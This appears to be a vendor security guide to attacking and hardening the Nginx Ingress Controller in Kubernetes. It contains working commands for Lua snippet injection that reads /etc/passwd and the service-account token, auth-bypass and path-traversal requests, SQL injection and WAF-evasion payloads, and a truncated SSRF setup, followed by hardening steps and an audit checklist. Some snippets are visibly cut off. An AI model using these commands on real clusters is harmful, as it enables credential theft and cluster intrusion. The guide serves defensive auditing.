The Nginx Ingress Controller processes all inbound HTTP traffic to a Kubernetes cluster — making it one of the highest-impact components to compromise. Annotation injection attacks let tenants in multi-tenant clusters escape their namespace, intercept other services' traffic, or execute arbitrary Nginx configuration. This guide covers the complete ingress attack surface: annotation injection, auth-url bypass, snippet-based RCE, ModSecurity bypass, path traversal via rewrite rules, and SSRF via the ingress proxy mechanism.
The Nginx Ingress Controller sits at the edge of the cluster and translates Kubernetes Ingress resources into Nginx configuration. Its security depends on:
| Attack Vector | Precondition | Impact |
|---|---|---|
| Annotation injection | Namespace create/edit Ingress | Config injection affecting all traffic |
| Snippet annotations | Allow-snippets enabled (default off in newer versions) | Arbitrary Nginx config / potential RCE |
| auth-url bypass | Exploitable auth service or header manipulation | Authentication bypass for protected services |
| Rewrite path traversal | Misconfigured rewrite rules | Access to unintended backend paths |
| ModSecurity bypass | ModSecurity enabled but misconfigured | WAF evasion for attacks on backends |
| SSRF via proxy | Ingress with attacker-controlled backend | Internal network access |
Nginx Ingress annotations allow fine-grained control over Nginx configuration. In multi-tenant clusters where different teams manage their own Ingress resources, annotation injection can affect cluster-wide traffic routing.
# Enumerate all Ingress resources across namespaces
kubectl get ingress -A -o wide
# Get detailed annotations for each ingress
kubectl get ingress -A -o json | python3 -c "
import json,sys
for item in json.load(sys.stdin)['items']:
ns = item['metadata']['namespace']
name = item['metadata']['name']
annotations = item['metadata'].get('annotations', {})
ingress_class = annotations.get('kubernetes.io/ingress.class', 'default')
for k, v in annotations.items():
if 'nginx' in k.lower():
print(f'{ns}/{name} [{ingress_class}]: {k} = {v[:100]}')
"
# Find ingresses using external auth
kubectl get ingress -A -o json | python3 -c "
import json,sys
for item in json.load(sys.stdin)['items']:
ns = item['metadata']['namespace']
name = item['metadata']['name']
anns = item['metadata'].get('annotations', {})
auth_url = anns.get('nginx.ingress.kubernetes.io/auth-url', '')
if auth_url:
print(f'{ns}/{name}: auth-url = {auth_url}')
"
# Annotations that directly inject Nginx config — test for injection
# These are common annotation keys used in testing:
# server-snippet: injects into server{} block
# nginx.ingress.kubernetes.io/server-snippet: |
# location /injected {
# return 200 "injected";
# }
# configuration-snippet: injects into location{} block
# nginx.ingress.kubernetes.io/configuration-snippet: |
# more_set_headers "X-Injected: true";
# Test if snippets are allowed in your cluster
kubectl create ingress test-snippet \
--rule="test.example.com/=test-svc:80" \
--annotation="nginx.ingress.kubernetes.io/server-snippet=location /probe { return 200 injected; }" \
-n test-namespace 2>&1
# If the ingress is created and takes effect, snippet injection is possible
curl -s http://test.example.com/probe # Should return 200 if snippet injected
# In a shared Nginx Ingress Controller, all Ingress resources share one Nginx process
# A malicious annotation in namespace A can affect routing in namespace B
# Annotation: upstream-hash-by — can route specific requests to attacker-controlled upstream
# (requires upstream-hash-by-subset feature)
# Annotation: use-regex — enables regex matching which can overlap with other routes
# nginx.ingress.kubernetes.io/use-regex: "true"
# If combined with a broad path regex like "/*", can intercept all traffic
# Check for overly broad path matchers
kubectl get ingress -A -o json | python3 -c "
import json,sys
for item in json.load(sys.stdin)['items']:
for rule in item['spec'].get('rules', []):
for path in rule.get('http', {}).get('paths', []):
p = path.get('path', '/')
if p in ['/', '/*', '(.+)'] or p.startswith('/('):
print(f\"{item['metadata']['namespace']}/{item['metadata']['name']}: broad path {p}\")
"
The server-snippet and configuration-snippet annotations allow injecting arbitrary Nginx configuration. In versions prior to 1.9.0 with allow-snippet-annotations: true, this can achieve arbitrary code execution via Nginx's lua_code_cache or access_by_lua_block.
# Nginx Ingress < 1.9.0 with allow-snippet-annotations=true is vulnerable
# Attacker with Ingress create/update permission can inject Lua code
# Check Nginx Ingress version
kubectl get pods -n ingress-nginx -o jsonpath='{.items[0].spec.containers[0].image}'
# Check if snippets are allowed
kubectl get configmap -n ingress-nginx nginx-configuration -o yaml | \
grep "allow-snippet-annotations"
# Or check the controller args:
kubectl get deploy -n ingress-nginx ingress-nginx-controller -o yaml | \
grep "allow-snippet"
# Exploitation via server-snippet (reads /etc/passwd from ingress controller pod)
kubectl annotate ingress my-ingress \
"nginx.ingress.kubernetes.io/server-snippet=|
location /rce {
content_by_lua_block {
local f = io.open('/etc/passwd', 'r')
ngx.say(f:read('*all'))
f:close()
}
}" \
-n target-namespace
# Access the injected endpoint
curl http://target.example.com/rce
allow-snippet-annotations immediately.
# Read service account token from ingress controller pod (access K8s API)
# Inject via server-snippet:
location /token {
content_by_lua_block {
local f = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token', 'r')
ngx.say(f:read('*all'))
f:close()
}
}
# The ingress controller service account typically has cluster-wide read permissions
# Token can be used to read secrets across the cluster
The nginx.ingress.kubernetes.io/auth-url annotation delegates authentication to an external service. Misconfigurations in how auth decisions propagate can lead to bypasses.
# The auth-url annotation makes Nginx send a subrequest to an auth service
# If the auth service returns 2xx, the request is allowed; otherwise blocked
# Common bypass: X-Original-URL header manipulation
# If the auth service checks X-Original-URL but Nginx passes the actual URI separately,
# sending a different path in the header can bypass restrictions
curl -H "X-Original-URL: /public" http://protected.example.com/admin
# Auth service sees /public (allowed) but backend receives /admin
# Check what headers the auth service inspects
kubectl get ingress protected-app -o yaml | grep -A5 "auth-"
# nginx.ingress.kubernetes.io/auth-url: http://auth-service.default/verify
# nginx.ingress.kubernetes.io/auth-method: GET
# nginx.ingress.kubernetes.io/auth-response-headers: X-Auth-User,X-Auth-Role
# auth-snippet annotation injects into the auth_request block
# nginx.ingress.kubernetes.io/auth-snippet: |
# proxy_set_header X-Auth-Request-Host $host;
# Injection test: attempt to close the proxy_set_header directive and add bypass logic
kubectl annotate ingress protected-app \
"nginx.ingress.kubernetes.io/auth-snippet=proxy_set_header X-Auth-Skip true;" \
-n test-namespace
# Test auth bypass paths
# Some auth services skip validation based on specific headers or paths
for path in "/health" "/metrics" "/actuator" "/swagger" "/_internal" "/api/public"; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://protected.example.com$path)
echo "$path: HTTP $code"
done
# Misconfigured rewrite annotations can expose unintended backend paths
# Vulnerable ingress configuration:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
annotations:
nginx.ingress.kubernetes.io/rewrite-target: /$2
spec:
rules:
- http:
paths:
- path: /app(/|$)(.*)
pathType: Prefix
backend:
service:
name: app-service
port:
number: 8080
# With this config, /app/../internal maps to /internal on the backend
curl http://cluster.example.com/app/../internal/admin
# More explicit test:
curl http://cluster.example.com/app/..%2fadmin
curl http://cluster.example.com/app/%2e%2e/admin
# Also test: rewrite can expose internal paths not intended for external access
# Backend may have /internal/metrics or /debug/pprof accessible via rewrite traversal
# Find misconfigured rewrites
kubectl get ingress -A -o json | python3 -c "
import json,sys
for item in json.load(sys.stdin)['items']:
anns = item['metadata'].get('annotations', {})
rewrite = anns.get('nginx.ingress.kubernetes.io/rewrite-target', '')
if rewrite and '\$2' in rewrite:
paths = []
for rule in item['spec'].get('rules', []):
for p in rule.get('http', {}).get('paths', []):
paths.append(p.get('path', ''))
print(f\"{item['metadata']['namespace']}/{item['metadata']['name']}: rewrite={rewrite} paths={paths}\")
"
Nginx Ingress Controller supports ModSecurity as an optional WAF. Common misconfigurations leave it in detection-only mode or with ineffective rule sets.
# Check ModSecurity configuration
kubectl get configmap -n ingress-nginx nginx-configuration -o yaml | grep -A5 "modsecurity"
# enable-modsecurity: "true"
# enable-owasp-modsecurity-crs: "true"
# modsecurity-snippet: SecRuleEngine DetectionOnly ← BLOCKING NOT ENABLED
# Detection-only mode logs attacks but doesn't block — test with obvious payloads
curl "http://target.example.com/?id=1'+OR+'1'='1" # SQL injection
curl "http://target.example.com/?x=" # XSS
# Check ingress-level ModSecurity annotations
kubectl get ingress -A -o json | python3 -c "
import json,sys
for item in json.load(sys.stdin)['items']:
anns = item['metadata'].get('annotations', {})
modsec = anns.get('nginx.ingress.kubernetes.io/enable-modsecurity', '')
snippet = anns.get('nginx.ingress.kubernetes.io/modsecurity-snippet', '')
if modsec or snippet:
print(f\"{item['metadata']['namespace']}/{item['metadata']['name']}: modsecurity={modsec} snippet={snippet[:80]}\")
"
# Test ModSecurity effectiveness with bypass techniques
# Technique 1: HTTP Parameter Pollution
curl "http://target.example.com/?id=1&id='+OR+'1'='1"
# Technique 2: Unicode normalization
curl "http://target.example.com/?id=1%ef%bc%87+OR+%ef%bc%871%ef%bc%87=%ef%bc%871"
# Technique 3: Chunked encoding (bypasses content inspection in some modes)
curl --header "Transfer-Encoding: chunked" http://target.example.com/ -d "4\r\n\r\n0\r\n"
# Nginx Ingress forwards requests to backend services by IP/DNS
# An attacker with Ingress create permission can create a backend pointing to internal services
# Ingress SSRF: create an Ingress with a Service pointing to an internal IP
# (Service ExternalName type — routes to arbitrary hostnames)
# Step 1: Create ExternalName service pointing to internal target
kubectl apply -f - <
# 1. Disable snippet annotations (most important control)
# In ingress-nginx ConfigMap:
kubectl patch configmap -n ingress-nginx nginx-configuration \
--patch '{"data": {"allow-snippet-annotations": "false"}}'
# 2. Use admission webhook to validate Ingress resources
# ingress-nginx includes a ValidatingAdmissionWebhook — ensure it's enabled
kubectl get validatingwebhookconfigurations | grep ingress
# 3. Enable ModSecurity in blocking mode
kubectl patch configmap -n ingress-nginx nginx-configuration --patch '{
"data": {
"enable-modsecurity": "true",
"enable-owasp-modsecurity-crs": "true",
"modsecurity-snippet": "SecRuleEngine On\nSecAuditLog /dev/stdout\n"
}
}'
# 4. RBAC: restrict who can create/update Ingress resources
# Only platform/ops team should have Ingress write access in production namespaces
kubectl create role ingress-reader \
--verb=get,list,watch \
--resource=ingresses.networking.k8s.io \
-n production
# 5. Network policy: restrict ingress controller egress
# Controller should only reach services, not arbitrary internal IPs
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: ingress-controller-egress
namespace: ingress-nginx
spec:
podSelector:
matchLabels:
app.kubernetes.io/name: ingress-nginx
egress:
- to:
- namespaceSelector: {} # Only pods, not ExternalName services
ports:
- port: 8080
- port: 443
allow-snippet-annotations; enable the ValidatingAdmissionWebhook; restrict Ingress write RBAC to ops team; enable ModSecurity in blocking mode; audit ExternalName services for SSRF paths; review rewrite-target annotations for path traversal; check ingress controller service account permissions against the K8s API.
| Security Test | Method | Priority |
|---|---|---|
| Snippet annotations enabled check | kubectl get configmap nginx-configuration | Critical |
| CVE-2021-25742 version check | kubectl get pods -n ingress-nginx image | Critical |
| auth-url bypass testing | Header manipulation | High |
| ExternalName SSRF services | kubectl get svc -A --field-selector type=ExternalName | High |
| Rewrite path traversal | curl path manipulation | High |
| Ingress RBAC audit | kubectl get rolebindings -A | High |
| ModSecurity mode check | ConfigMap + test payloads | Medium |
| Broad path regex overlap | kubectl get ingress -A review | Medium |
Ironimo scans Kubernetes Ingress configurations for annotation injection risks, exposed snippet annotations, auth bypass vulnerabilities, and ExternalName SSRF pivots.
Start free scan